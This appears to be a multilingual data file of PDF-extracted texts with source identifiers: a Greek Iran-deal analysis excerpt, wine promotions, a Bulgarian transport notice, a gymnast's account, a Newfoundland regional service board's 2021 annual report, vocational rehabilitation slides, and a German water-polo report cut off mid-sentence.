Τελ Αβίβ δείχνει αμηχανία και διπλωματική απομόνωση. Η ισραηλινή κυβέρνηση έχασε την ευκαιρία να επιτεθεί με μια συμμαχία και άλλων δυνάμεων κατά των ιρανικών πυρηνικών εγκαταστάσεων. Αυτή η εξέλιξη θα μπορούσε να χαρακτηριστεί ως ανατροπή στη στρατηγική ισορροπία δυνάμεως στη περιοχή κλονίζοντας τη ισραηλινή θεωρία της «αποτροπής» για πρώτη φορά στην ιστορία της Μέσης Ανατολής. Το Ισραήλ δεν μπορεί να πραγματοποιήσει αποτελεσματική επίθεση κατά του ιρανικού προγράμματος χωρίς αμερικανική συμμετοχή. Έτσι το μοναδικό μέσο που διαθέτει είναι να προσφύγει στο αμερικανικό Κογκρέσο για την εξουδετέρωση της συμφωνίας. Η νέα πυρηνική συμφωνία προκαλεί μια προσέγγιση Αράβων και Ισραηλινών. Η αναζήτηση συμμάχων, έστω και μεταξύ δυσαρεστημένων από τη συμφωνία Αράβων, όπως η Σαουδική Αραβία, ανάγκασε την ισραηλινή κυβέρνηση να παγώσει την κατασκευή χιλιάδων οικισμών στα Παλαιστινιακά Εδάφη 19 ως κίνηση καλής θελήσεως για να συγκεντρώσει τη διεθνή κοινότητα. Συμπέρασμα Το Ιράν, αν και έχει μεγαλύτερες πιθανότητες αποσύνθεσης-διάσπασης από εκείνες της Συρίας, είναι μέρος του διεθνούς συστήματος που διαμορφώθηκε το 1914. Ανεξαρτήτως του θεοκρατικού του χαρακτήρα που είναι αντιδημοφιλής στη Δύση, το Ιράν εξυπηρετεί τους δυτικούς στόχους εμποδίζοντας την ρωσική γεωπολιτική επέκταση στον Κόλπο και την υπόλοιπη Μέση Ανατολή, παρά την πρόσφατη καλή συνεργασία μεταξύ Τεχεράνης και Μόσχας. Η ύπαρξη εστιών απειλών και εντάσεων στη περιοχή του Κόλπου, κυρίως κατά των πλουσίων Αράβων, αναγκάζει τις μοναρχίες αυτές να εξαρτηθούν από τη Δύση ειδικά τις ΗΠΑ για προστασία των θρόνων του. Ήδη τα κράτη του Συμβουλίου Συνεργασίας των αραβικών χωρών του Κόλπου ξόδεψαν 233 δις. εκ δολάρια μεταξύ 2000 -2005.για στρατιωτικές και αμυντικές δαπάνες 20 εξαιτίας της πυρηνικής απειλής του Ιράν και όχι του Ισραήλ. Την ίδια στιγμή το σιιτικό Ιράν αποτελεί μια σφήνα μεταξύ του σουνιτικού «πυρηνικού» Πακιστάν και των σουνιτικών αραβικών χωρών Η συμφωνία του πυρηνικού προγράμματος επιβεβαίωσε τη σημασία του περσικού παράγοντα για τη Δύση ιδιαίτερα στον οικονομικό τομέα. Η νέα κατάσταση που διαμορφώνεται δίνει στο Ιράν το δικαίωμα να επέμβει στη Συρία και να δαπανά εκατομμύρια δολάρια στηρίζοντας τον Άσαντ. Οι Δυτικοί γνωρίζουν ότι η μακροχρόνια αιμορραγία του Ιράν στο συριακό έδαφος θα αναγκάσει το περσικό καθεστώς να προσφέρει επιπλέον σημαντικές παραχωρήσεις στο μέλλον έστω και αν αυτό έχει τίμημα τον θάνατο δεκάδων χιλιάδων στη Συρία. ΥΠΟΣΗΜΕΙΩΣΕΙΣ Αljazeera.net, "Οι ιρανοαμερικανικές μυστικές διαπραγματεύσεις προετοίμασαν για το πυρηνικό συμβιβασμό", (24/11/2013) http://www.aljazeera.net/news/pages/2893e67b-182a-45da-a7697923f9ab4353 1. Η σημαντική πτώση της αξίας του ιρανικού νομίσματος είναι μια ένδειξη για την κατάσταση της ιρανικής οικονομίας 2. Οι δυσμενείς οικονομικές συνθήκες που θίγουν τις περισσότερες χώρες της Ε.Ε. και η σημαντική αλλαγή στην εθνική στρατηγική των ΗΠΑ περιόρισαν σημαντικά την περίπτωση της στρατιωτικής επέμβασης . 3. Η σύμφωνη στάση των Ρώσων με τις θέσεις των δυτικών χωρών στο θέμα των κυρώσεων κατά του Ιράν και η άρνηση της Ρωσίας να παραδώσει πυραύλους εξελιγμένης τεχνολογίας έκαναν τους Ιρανούς να μη στηριχθούν εξολοκλήρου στη ρωσική στάση και να μην κλείσουν την πόρτα προς τους δυτικούς για συμβιβαστική λύση. Η Ρωσία πήρε ανταλλάγματα από τη Δύση για να δώσει την έγκρισή της στις κυρώσεις εις βάρος του Ιράν. 4. Saffiya Ansari,, "Rowhani: Deal seals 'nuclear right»" Αlarabiya.net (25/11/1013) http://english.alarabiya.net/en/News/middle-east/2013/11/24/Rowhani-says-Iran-s-nuclear-rights-sealed.html 5. Για τους όρους της συμφωνίας βλ.: David Blair, "Iran nuclear deal – what are the terms of the agreement?", The Telegraph (24/11/2013), http://goo.gl/zL1yY3 6. Al Arabiya News , "EU likely to lift Iran sanctions in December", (25/11/2013), http://english.alarabiya.net/en/News/middle-east/2013/11/25/EU-likely-to-lift-Iran-sanctions-in-December.html 7. Αlarabiya.net "Η Βρετανία επαναλειτουργήσει πηγή παραγωγής φυσικού αερίου το κατέχει μισό μισό με το Ιράν", (26/11/2013), http://goo.gl/rSjHO2 8. BBC, "Η πτώση των τιμών παγκοσμίως μετά τη συμφωνία με το Ιράν",(25/11/2013), http://www.bbc.co.uk/arabic/business/2013/11/131125_iran_oil_prices_fall.shtml 9. Αljazeera.net, "Το ιρανικό νόμισμα ανατιμήθηκε κατά 3% μετά τη συμφωνίας της Γενεύης",(24/11/2013) http://www.aljazeera.net/ebusiness/pages/19715f11-6168-4948-974ddc94bd6a7b08 10. Αlarabiya.net, "Ιρανο-αμερικανικό επιμελητήριο το Δεκέμβριο για προώθηση της συνεργασίας", (27/11/2013), http://goo.gl/6oo8GF 11. The Telegraph, "Iran's oil industry receives lifeline from nuclear agreement", (25/11/2013), http://www.telegraph.co.uk/news/worldnews/middleeast/iran/10473657/Irans-oil-industry-receiveslifeline-from-nuclear-agreement.html 12. Reuters, "Saudi spy chief says Riyadh to "shift away from U.S." over Syria, Iran", (22/10/2013), http://www.reuters.com/article/2013/10/22/saudi-usa-idUSL5N0IC3QK20131022 13. Al Arabiya News, "Riyadh: Solution on Iran needs goodwill", (25/11/2013), http://goo.gl/Uhxi5P 14. Al Jazeera,"Israel and US differ on Iran's nuclear file",(23/10/2013), http://goo.gl/RfrnWi 15. The Guardian, "Israel condemns Iran nuclear deal as 'historic mistake",(24/11/2013), http://www.theguardian.com/world/2013/nov/24/israel-condemns-iran-nuclear-deal-binyamin-netanyahu 16. 4 France24, "Το Ισραήλ καταδικάζει την κακή συμφωνία στη Γενεύης και δηλώνει ότι δεν δεσμεύεται από αυτή»,(24/11/2013), http://goo.gl/frO9nR 17. Αljazeera.net , "Νετανιάχου: η συμφωνία με το Ιράν μπορεί να οδηγήσει σε πόλεμο",(14/11/2013), http://www.aljazeera.net/news/pages/29836197-32a0-47a6-91b0-03ffcb5314f1 18. The Guardian, "Binyamin Netanyahu halts West Bank settlement plan",(13/11/2013), http://www.theguardian.com/world/2013/nov/13/binyamin-netanyahu-west-bank-settlement-plan 19. Αljazeera, «O στρατιωτικός εξοπλισμός στις χώρες του Κόλπου»,(4/7/2010), http://www.aljazeera.net/opinions/pages/251e94d1-a4e6-4861-87b4-3ca5648b1b86 20. Το ΚΕΜΜΙΣ εγκαινιάζει μια σειρά από άρθρα και αναλύσεις οι οποίες παρουσιάζουν διαφορετικές γνώμες και οπτικές γωνίες για διάφορα θέματα της Μέσης Ανατολής και του Ισλαμικού Κόσμου, οι οποίες προέρχονται από αναλυτές που δεν ανήκουν στο δυναμικό του ΚΕΜΜΙΣ. Το Κέντρο Μεσογειακών,Μεσανατολικών και Ισλαμικών Σπουδών φιλοξενεί πληθώρα διαφορετικών απόψεων στα πλαίσια του ελεύθερου ακαδημαϊκού διαλόγου. Οι απόψεις αυτές δεν αντανακλούν υποχρεωτικά τις απόψεις του Κέντρου. 5
<urn:uuid:6642a412-af28-488a-8f5b-ccc6cc2506ab>
HuggingFaceFW/finepdfs/tree/main/data/ell_Grek/train
finepdfs
ell_Grek
12,856
Data: 23 Maggio 2016 Pagina: Web Foglio: 1/1 http://www.doctorwine.it/Firmato-DoctorWine/Firmato-DW/Grignolino-alla-riscossa
<urn:uuid:17df2c28-b549-45ee-b8c9-2bb698a67c20>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
127
ИНФОРМАЦИЯ за фактическото състояние по възлагане на превозите по автобусни линии от републиканската и общинска транспортна схема ВЪЗЛОЖИТЕЛ: Община Кюстендил
<urn:uuid:dbaf6702-c343-405e-a090-7ab33744b540>
HuggingFaceFW/finepdfs/tree/main/data/bul_Cyrl/train
finepdfs
bul_Cyrl
159
Wakefield Gym Club Tumblers Jonnilee Burnside ELLIE-MAE Harrison I took place in a competition in Birmingham. First, I stretched so I could be better. Then I started to do my runs whilst I was waiting to actually compete. Then I started competing against three other people, but first I did two warm-up runs, and in the middle of my run the lights went out. So, we waited half an hour for them to come back on and I did it all again. We presented to the judges and I did my first run and got 32.240. then I did my second run and got 21.520. Then after that I did my third run and got 18.645. once we had done that we went to the curtains and half an hour later went back out to go on the podium where I came second and received a silver medal. Run1= Round off, Whip, Flick, Flick, Flick, Back Tuck Total Score = 26.070 Run2= Round off, Flick, Whip, 4 Flicks, Back Pike Total Score= 24.420 Run3= Round off, Flick, Straight back Total Score = 27.900 Overall Score 78.390 I have worked hard at practical training sessions with Zoe. I have had to concentrate on my endings to the runs. I always get nervous before a competition, but my runs went well in practice at Birmingham. Which puts me in a good place for the proper runs in front of the judge's I always like to talk to the other gymnasts at the competition as this helps to stop me getting nervous as well. I feel very proud standing on the podium because it puts Wakefield Gym Club and Yorkshire in the limelight. I am looking forward to representing Yorkshire and my club in Telford. Fingers Crossed I will win another medal !!
<urn:uuid:4ccb678b-c13b-422a-967a-1e371de1fc9b>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
1,597
NOTA DE PRENSA.- LA D.O. RUEDA DINAMIZA LAS EXPORTACIONES CON UN INTENSO PLAN DE ACCIONES PROMOCIONALES. Bélgica y Alemania son los principales destinos de las acciones internacionales programadas por el C.R.D.O. Rueda durante este mes. La prensa especializada de Alemania destaca en varias publicaciones que "el verdejo es tendencia" en el mercado germano, ya que encaja a la perfección con el gusto de los consumidores. Con el objeto de promocionar la D.O. Rueda y sus vinos en los mercados internacionales, el Consejo Regulador participará en la feria Megavino 2015, que se celebra del 23 al 26 de octubre, en Bruselas. El C.R.D.O. contará con un stand dentro del Pabellón español, en el que se podrán degustar los vinos de 19 bodegas de la denominación de origen. Además, durante los cuatro días que dura la feria se celebrarán seminarios sobre los vinos de la D.O. Rueda, impartidos por prestigiosos sumilleres belgas. Megavino es la feria sectorial especializada en vinos y otras bebidas alcohólicas, más importante de Bélgica. Este evento está dirigido principalmente al consumidor final pero también cuenta con la presencia de importadores, distribuidores y periodistas especializados. En la edición de 2014 se superaron los 10.000 m2 de exposición y más de 20.000 visitantes recorrieron los 412 expositores procedentes de 35 países. De tapas por Bruselas. Como preámbulo a Megavino, en los próximos días se celebra en Bruselas "La semana de la tapa", una actividad organizada por el Instituto de Comercio Exterior de España (ICEX) y en la que participa el C.R.D.O. Rueda. El jueves 22 se maridarán los vinos de la D.O. Rueda con diferentes propuestas gastronómicas. Seis chefs españoles elaborarán una suculenta carta de tapas para cerca de 250 invitados, entre los destacan representantes de instituciones europeas, prensa especializada y promotores del sector turístico belga. Éxito en Alemania El C.R.D.O. también está realizando un intenso trabajo de promoción en Alemania, uno de los pilares para las exportaciones en la denominación de origen. A principios de mes, la ciudad alemana de Heilbronn acogió el Weinfachhändlertag 2015, un simposio sobre las últimas tendencias en marketing y distribución, en el que participó el Director General del C.R.D.O. Rueda, Santiago Mora. En esta edición, el congreso ha contado con 240 profesionales del sector de la distribución especializada del vino en este país, un 30% más que el año pasado. La cita ha servido para afianzar lazos con los distribuidores y ampliar conocimientos sobre el mercado alemán. Los vinos de Rueda están teniendo una fuerte difusión en mercado germano, con la publicación de varios reportajes sobre la denominación de origen, en las dos revistas alemanas más importantes del sector: Weint+Markt y Weinwirtschaft. En esta última, analizan el consumo del vino blanco en Alemania, poniendo como ejemplo de éxito la D.O. Rueda y argumentando que gran parte de esta notoriedad se debe a la "excelente estrategia de comunicación y relaciones públicas se está realizando la D.O. Rueda y gran parte de sus bodegas". Mientras, la revista Weint+Markt destaca que "el verdejo es tendencia" en el mercado alemán, ya que encaja a la perfección con el gusto de los consumidores más exigentes. Fuente: Consejo Regulador de la D.O. Rueda 983-868248 Siempre podrán encontrar información actualizada en el web: www.dorueda.com w ww.facebook/dorueda.com
<urn:uuid:91992936-3351-4d16-ac73-d788a711d18b>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
3,443
FORMA ALTA VERMENTINO NERO IGT COSTA TOSCANA Vigneti siti nel comune di Carrara tra fine dell'800 a piede franco e inizi del 900 appena innestati. Vigne terrazzate, a 11000 ceppi per ha. La gestione è completamente manuale e la parola eroicità è espressa al meglio arrivando a 1200 ore per ha. Trasporto del vendemmiato a spalla. Il Vermentino Nero, con un pergolato che insiste sull'innesto della Via Francigena e la splendida Massaretta, registrata come Barsaglina, sono i due vitigni principi per questo territorio. Solo con la disidratazione del 2017 finalmente il Vermentino Nero ha potuto ambire a prendere la scena in una etichetta da vigne vecchie e accompagnato da una pennellata di Massaretta, ha generato circa 900 bottiglie. Microvinificazioni a chicco intero e grappolo intero per non avere "i verdi" di questo vitigno, che diventa grande solo con la senilità. Si manifesta più esuberante e generoso in terreni non estremi e da giovane. Due anni in piccoli tini di cemento per il Vermentino nero e legno non nuovo per la Massaretta. Il grado alcolico spazia tra i 13,5 e i 14… evento abbastanza raro e comunque supportato dalla parte calorica della Massaretta. Abitualmente non supera i 13 gradi. Buone le acidità cercando esposizioni rivolte più che altro a nord e a est rispetto al classico sud/ovest. Vino non collato e non filtrato. Artwork di Colette Baraldi TERENZUOLA di IVAN GIULIANI & C SS Azienda Agricola Sede Legale e Cantina: Via Vercalda, 14 - 54035 Fosdinovo (MS) - Italy Sede Amministrativa: Via Borghetto, 99 - 54035 Fosdinovo (MS) - Italy INFO: + 39 0187 670387 – email@example.com – www.terenzuola.it
<urn:uuid:1fff6eef-8aee-44f7-a135-412b154e55df>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
1,642
ANNUAL REPORT 2021 JUNE 2022 Contents Message from the Chairperson I am pleased to present the 2021 annual report for the Eastern Regional Service Board. This report covers the period January 1 to December 31, 2021. The Board continues to be active in the advancement of the Provincial Waste Management Strategy and the promotion of waste diversion in the eastern region. All waste infrastructure for the eastern region is fully operational including 11 waste recovery facilities, a solid waste transfer station at Clarenville and an equipment depot at Whitbourne. In addition, the Board continues to offer fire and emergency protection services and regional water/wastewater services. The COVID-19 pandemic impacted operations at waste recovery facilities in 2019 and 2020; however, there were no closures due to the pandemic in 2021. The Board continues to focus its attention on service delivery improvements, operational efficiencies and preparing for our next opportunities in regional service delivery. We will continue to work closely with stakeholders and government to identify and improve on emerging operational issues. As chairperson, I am pleased to report to the various stakeholders in the eastern region that the Board has had another successful year and is positioning itself to deliver other essential and value-added services in the future. Sincerely, Harold Mullowney, B.Sc., B.Ed., M.P.H. Chairperson Eastern Regional Service Board Overview * advance the implementation of modern waste management practices, The Eastern Regional Service Board (the "Board") was charged with implementing the regional plan developed by its predecessor committee – Eastern Waste Management for the 163 communities and 270,000 people in the eastern region. The plan was developed to accomplish three broad goals: * divert materials from disposal in the landfill, and * close the 42 community landfills that operated in the region. As of December 31, 2018, there is no community landfill operating in the eastern region. The landfill on Bell Island closed in 2018. In accordance with the Eastern Regional Plan, all 42 community landfills that were operational in the eastern region have been closed. The province chose the Robin Hood Bay facility to be the focus for landfill and diversion services/facilities. The City of St. John's operates the Robin Hood Bay facility for the benefit of the region. While many of the larger urban communities have dedicated waste fleets, for the most part the smaller municipalities, local service districts and unincorporated areas have regional service delivery provided by the Board. The regional service allows for an efficient and effective collection, transport, and diversion of waste materials. In accordance with the Ministerial Directives of 2018/2019, the Board does not provide services to properties located on un-serviced roads in unincorporated areas. The Board provides direct service to approximately 23,000 households and businesses. This includes weekly waste collection, biweekly recyclables collection (fiber and containers), and regular bulk garbage collection events. In addition to the roadside/curbside collection, the Board also operates a series of waste recovery facilities throughout the region and a transfer station in Clarenville to ensure that residents have ready access to services and facilities to dispose of household bulk items. Throughout the year, household hazardous waste collection events take place to allow residents to properly dispose of these materials. In addition to waste services, the Board has contracts with five towns for the delivery of fire and emergency services to neighbouring communities. The Board continues to provide consultative services to 19 communities in the Eastern region through the Province's Regional Water and Wastewater Operator Program. This program began in 2015 and it has been a tremendous asset to rural communities in the eastern region. Operations are overseen by a board of twenty municipal government representatives led by a chairperson. These twenty members are either nominated by their respective Council or are elected by the Councils in a sub region to represent the sub region on the Eastern Regional Service Board. The map on the following page illustrates the representation for each area in the eastern region. The staff complement includes a total of 20 full-time employees and 12 part-time employees. ERSB is governed by a board of 20 local municipal representatives and an independent Chairperson. Revenue and Expenditures The Board is accountable for the funds it receives from government and the funds that are generated through fees that are levied on property owners, occupiers, and users. Each year it has audited financial statements prepared. Below is the Board's Statement of Operations at December 31, 2021. Audited Financial statements are submitted to the Provincial Government on an annual basis under the requirements of our legislation – Regional Service Boards Act, 2012. Mandate In accordance with section 3 of the Eastern Regional Service Board Regulations, 2013, the authority granted to the Eastern Regional Service Board is to: Prescribed services 3. (1) The board has the power to construct, acquire, maintain and operate a waste management system within the Eastern Region. (2) The board has the power to provide operational oversight of water and wastewater systems owned by municipal authorities within the Eastern Region which have been identified through the Community Sustainability Partnership Initiative. (3) The board has the power to provide fire protection services within the Eastern region. The boundaries of the Eastern Regional Service Board are from St. John's in the East, Clarenville in the West and down the Burin Peninsula to Swift Current and Random Island. These regulations can be viewed in their entirety on the following website: http://www.assembly.nl.ca/Legislation/sr/Regulations/rc130008.htm Lines of Business 1) Operation of Waste Facilities a) The Board operates eleven (11) waste recovery facilities across the region – Bay Bulls, Bell Island, RenewsCappahayden, St. Joseph's, Placentia, Cavendish, Harbour Grace, Sunnyside, Clarenville, Whitbourne and Old Perlican. These facilities accept residential bulk garbage at no charge, including appliances, tires, construction and demolition materials, furniture, shingles, etc. b) The Board operates a solid waste transfer station with weigh scales at Clarenville that accepts commercial waste from the Smith Sound area. This waste is then transferred to the regional landfill at Robin Hood Bay by the Board's staff. Equipment at the facility includes three tractors and four walking floor trailers (53 ft); backhoe; pickups; and one double-axle trailer. This facility won SWANA's (Solid Waste Association of North America) Silver Excellence Award in 2016 for a facility that advances and promotes the practice of environmentally and economically sound solid waste management. Aerial View of Waste Recovery Facility Clarenville Transfer Station c) The Board maintains an equipment depot at Whitbourne to house the Board's waste equipment that includes five tractors with grapple hooks and three compacting trailers (53 ft) used to remove waste from the waste recovery facilities and transport to Robin Hood Bay; two double-axle trailers used for special waste removals, ex. tires (non-MMSB) removals; loader used at the waste recovery facilities and for snow clearing on site; and pickup trucks. Equipment Depot at Whitbourne 2) Management of Waste Collection Contracts: Waste collection services are provided by the Board to approx. 23,000 homes and businesses in 119 communities. This includes weekly waste collection, biweekly recyclables collection and two bulk waste collections annually. All communities serviced by the Board have curbside recycling. Currently waste collection services through the Board are contracted. The Board maintained an internal waste collection division for five years from 2015 through 2019; however, this division was shut down when approximately 5,700 properties on un-serviced roads in unincorporated areas was removed from the Board's service area. The Board provides household hazardous waste (HHW) collection events throughout the eastern region annually. In addition, the Board offers a community clean-up program annually for community-based volunteer groups to access and dispose of waste at the waste recovery facilities. Program information and guidelines are sent to every community in the eastern region each year. 3) Education and Promotion of the Provincial Waste Management Strategy: Through its regular contact with municipal stakeholders as well as through supporting joint councils, the Board supports the education and promotion of the Provincial Waste Management Strategy in the eastern region. The Board's website provides all information regarding the Board and its services. The Board's staff regularly discuss the importance of waste diversion with customers. In addition, the Board conducts household education campaigns in service areas to increase the participation of residents in the recycling program. The Board continues to focus on the education of residents to increase recycling participation. 4) Water and Wastewater Systems: The Board's Regional Water/Wastewater Operator has been an expert resource to 19 communities in the eastern region. Many of these communities have been experiencing longstanding boil-water advisories and the assistance of an expert resource has been helpful for them to address these issues and move toward removal of boil-water advisory. 5) Fire and Emergency Protection Under the authority granted to the Board in 2016; five towns have been contracted to provide fire and emergency services to neighbouring local service districts and unincorporated areas. Vision The vision of the Eastern Regional Service Board is to improve the quality of life, provide leadership and to protect the environment in the eastern region by ensuring cost effective, sustainable services. Highlights and Accomplishments REGIONAL WATER/WASTEWATER PROGRAM: During 2021 additional communities were added to the Regional Water/Wastewater Operator program. The table below summarizes the status of these communities for 2021 and the removal of Boil Water Advisories (BWA). Regional Water and Wastewater Systems Operator Pilot Program Participating Communities December 31, 2021 This program is scheduled to finish in March of 2023 and is currently being reviewed by the Department of Environment and Climate Change. With some revisions and additional activities, the program could become more valuable and potentially address the needs of more communities. WASTE RECOVERY FACILITIES: Waste Recovery Facilities (WRF) received material from approximately 37,654 clients in 2021, which is a 10% increase from the previous year. It is worthwhile to note that in 2020 these facilities were closed for two months due to the COVID-19 pandemic. In 2019 prior to the pandemic, these facilities saw 40,350 client visits. The materials collected included household appliances, furniture, electronics, residential construction material, tires, metal, shingles, floor coverings, trees, branches, etc. Waste diversion activities in 2021 included: * 13,095 tires were collected, as accepted by the Used Tire Recycling Program of the MMSB, versus 13,932 in 2020 and 12,924 in 2019; and, * 946,600 kg of metals was diverted to an approved metal recycler versus 1,340,360 kg in 2020 and 1,020,260 kg in 2019; * 226 pallets of electronic waste were collected by the Recycle My Electronics Program of the Electronic Products Recycling Association (EPRA) verses 200 in 2020 and 246 in 2019. In 2021, 8,760,730 kg of waste was transferred from the various waste recovery facilities to the regional landfill located at Robin Hood Bay. In comparison, there was 8,326,540 kg of waste transferred in 2020 and 7,908,400 kg in 2019. Changes to the operations of the waste recovery facilities in 2021 included: * The Sunnyside WRF was closed from December 11, 2020 to April 2, 2021, and again from December 12, 2021 to April 2, 2022. * No closures due to COVID-19 pandemic. HHW EVENTS: The Board hosted 17 Household Hazardous Waste (HHW) events in 2021. Approximately 701 clients took advantage of this service, which saw 5,906 liters of liquid waste, 40 paint boxes (approximately 8,480 L of paint), 369 compressed gas tanks, and 373 fluorescent light bulbs collected. Overall, the participation rate and the volume of HHW collected was lower than in 2020. SCHOOL PILOT PROJECT: The Recycle@School Pilot Program officially ended at the end of the school year, June 2021. The Board was pleased to offer this program to the following participating schools for the past nine (9) years. Since the Eastern School District has included paper recycling collection in its tendered waste collection services, the Board will no longer need to pick up recyclables at the following schools. WASTE COLLECTIONS: There was no significant change in curbside waste diversion rates between 2019 and 2021; however, there was a 2 percent increase in the amount of waste collected in 2020. The slight increase in waste received in 2020 was most likely due to the COVID-19 pandemic when more people were working from home, students were at home and many were involved in home improvement activities, etc. The Board withdrew waste collections from un-serviced roads in unincorporated effective December 31, 2019 in accordance with the Ministerial Directives. The Board currently has 10 contracts for the collection and transportation of waste in the eastern region as outlined in the table below: CLARENVILLE TRANSFER STATION: In 2021, 5,614,320 kg of waste and 401,530 kg of recyclables was received at the commercial portion of the Clarenville solid waste transfer facility. This required about 224 trips to transport the waste to the Robin Hood Bay regional landfill. For 2021, there was 20 percent increase in waste and 24 percent increase in recyclables over 2020. From 2019, it is a 2 percent increase in waste and 4 percent increase in recyclables. The significant difference for 2021 over 2020 is a result of the impact on local businesses due to the COVID-19 pandemic. For comparative purposes, in 2020 there was 4,665,350 kg of waste and 323,690 kg of recyclables received at the commercial portion of the facility. In 2019, 5,520,840 kg of waste and 386,950 kg of recyclables was received at the commercial portion of the facility. Please see the Waste Recovery Facilities (WRFs) section of this report for residential drop-off information at this location. FIRE AND EMERGENCY PROTECTION SERVICES: In 2017 the Board implemented fire and emergency services by partnering with the Town of Holyrood to expand its fire services boundary to include unincorporated areas outside its municipal boundary. This program is being provided through a contract with the town and its volunteer fire department to deliver the service. Following the success of the initial contract, the Board now has the following contracts for this service: Salmonier Line - 116 properties. a) Town of Holyrood to provide fire and emergency services to an unincorporated area along b) Town of St. Joseph's to provide fire and emergency services to the Local Service Districts of O'Donnell's, Forest Field-New Bridge - 111 properties. d) Town of Winterton to provide fire and emergency services to the unincorporated community of Turk's Cove – 24 properties. c) Town of Carbonear to provide fire and emergency services to the unincorporated areas of Gadden's Marsh and English Hill Extension – 16 properties. e) Town of Ferryland to provide fire and emergency services to the unincorporated community of Admiral's Cove – 47 properties. Opportunities and Challenges Ahead Support of Joint Councils The Board continues to provide administrative support of the joint councils in the region, and this has been well received by the member communities. These joint councils provide the forum for discussions amongst neighbouring communities to relay their activities and concerns as well as being an avenue for the exchange of information and ideas about local government and provincial municipal legislation. Legislative Tools The Board continues to advocate to the province on the need to address some of the administrative tools that are not included in the enabling legislation for regional service boards such as having the same authority as municipalities regarding liens on properties, etc. Having these administrative tools would provide the Board another way to collect fees other than through litigation at small claims court. Provincial Mandatory Property Registry/Land Titles System The Board would like to see the province implement a mandatory property registry or adopt land titles systems. This would enable the Board, municipalities and local service districts identify the property owners within their boundaries for fees assessment and/or property taxes. Without a mandatory system it is very difficult to identify property ownership. Provincial Standards for Waste Collection The province does not have standards for waste collection; therefore, communities may choose to opt out of waste diversion programs and simply send all their waste to the landfill. This is not in line with the Provincial Waste Management Strategy that outlines clear diversion targets for the province. The Board would like to see all licensed waste haulers having to offer waste diversion options as opposed to just collecting black bag waste for landfilling. For example, the Board has had communities opt out of regional waste services to purchase these services from a contractor for a slighter lower price for regular garbage/black bag only waste collection. Regional Service Boards and Regionalization The Board continues to be active in its contribution to the discussion of developing regional governance in the province. The Board has developed a conceptual model based on its work with the joint councils and municipalities as the basis for regional government. The Board will continue to promote regional governance. SUMMARY The Board will continue to work with its partners in regional service delivery including municipalities, local service districts, businesses, Provincial Departments, and others in the development of quality and cost-effective services to the eastern region.
<urn:uuid:6d5cc744-a248-4ec5-a8d6-b74ea8ff3483>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
18,649
S chool/VR Partnerships: An Overview of Vocational Rehabilitation Services OVRS Overview * Federal program * Mandated in all states * Goal is to help individuals with disabilities gain andsustain employment in their goal area * Started around WWI helping injured soldiers return to work * Due to amendments in the 1990's VR increased the role of the consumer which resulted in consumer options for high quality jobs Outcomes * Provision of vocational guidance                  in and counseling * Identification of employment goals * Attainment of employment * Retention of employment 1 Process Application E ligibility Plan Development Employment Young people with disabilities face many barriers to employment, including: * Specific nature of disability and health conditions * Pooraccessto employment‐related services and supports * Lack of access to work experiences * Lack of linkages, collaboration/ coordination among various systems (child and adult) What VR Can Do * Outreach to educate individuals about the VR process and services * Processing referrals and applications * Conducting preliminary assessment interviews * Securing preliminary eligibility documentation/ student records * Case note documentation 2 What VR Can Do – cont. * Attending Transition IEP meetings as the VR agency representative when invited by the school * Providingguidance about informed choice, disability issues, and employment * Follow up * Networking activities that contribute to successful employment outcomes Defined Outline of Services * Assist eligible students with disabilities to transition from HS to postsecondary training, education, or directly into employment upon exit * VocationalGuidance and Counseling occurs while the student is still in HS * The Individualized Plan for Employment (IPE) is coordinated with the student's Individual Educational Plan (IEP) and in place prior to the student's exit Schools: Who Should Be Referred to VR? * Students that have a Documented Disability – IEP – 504 Plan * StudentsorYouth that don't need academic or physical accommodations can still be provided information about VR Transition * Students or Youth that have disabilities should be encouraged to apply for VR services 9 3 Schools: When Should a Student Apply ? * At least two years prior to HS exit * Referral should be made at the end of the Sophomore or early in the Junior year…  or * Two to three years before graduation or exit for those students staying until age 22 * At age 16 and older if the student is or will be involved in a community work experience 10 Schools: How Can the School Help VR? * Copies of school records & releases of information * Opportunities for VR presentations * Aid distributing VR info to staff, parents, & students * Scheduled meeting space & time for school visits * Invitations to IEP meetings at start of school year or alternate input * Student referrals at the start of the school year * Time to speak with teachers, guidance counselors, nurses and students 11 Schools: What Documents Does VR Need? * Current IEP or 504 Plan * Medical and/or psychological records or new evaluations that document disability * Transcript or academic reports *Attendance and tardiness reports * Behavioral reports, if applicable * Vocational training records and/or career assessments, if available * Involvement with any other agencies 12 4
<urn:uuid:987537b4-75bf-4088-860e-3c2f39db98df>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
3,398
Pressemitteilung Nr. 41/2017 Magdeburg, 03.12.2017 2. Wasserball Liga, Landesgruppe Ost WUM verteilt keine Adventsgeschenke; 8:11 Auswärtssieg der Magdeburger in Leipzig Mit einem sicheren 8:11 (4:3; 2:5; 0:3; 2:0) Auswärtssieg und zwei Punkten im Gepäck kehrten die Magdeburger Wasserballer am Sonntag, 03.12.2017, aus Leipzig zurück. Das Spiel selber begann spannend. In den ersten acht Minuten konnte sich keine Mannschaft absetzen. Die Führung der Magdeburger wurde durch die Messestädter immer wieder ausgleichen; bis zur Pause gingen sie ihrerseits sogar mit 4:3 in Front (WUM-Tore Wilhelm Block – zwei Treffer und Kiril Litvin). Das wurmte insbesondere WUM Trainer Holger Dammbrück, denn er fand in der Viertelpause offensichtlich deutliche Worte. Mit Beginn des zweiten Viertels traf er selber zum 4:4 Ausgleich. Leipzig ging noch einmal mit 5:4 in Front, doch dann drehten die Magdeburger auf und kamen durch vier Treffer in Folge (Lukas Schulle, Wilhelm Block, Christian Schlanstedt und Holger Dammbrück) zu einer sicheren 5:8 Führung. Bis zur Halbzeitsirene konnte Leipzig auf 6:8 verkürzen. Auch in der Pause sprach Magdeburgs Trainer Dammbrück Klartext mit seiner Mannschaft. Seine Jungs schienen sich daran zu halten und versuchte mit einer ruhigen Spielswiese unnötige Ballverluste zu vermeiden. Zudem wurden die Leipziger über eine stabile Abwehr vom Tor ferngehalten. Im Ergebnis ging das dritte Viertel mit 0:3 (Tore Christian Schlanstedt, Holger Dammbrück und Lukas Schulle) an das 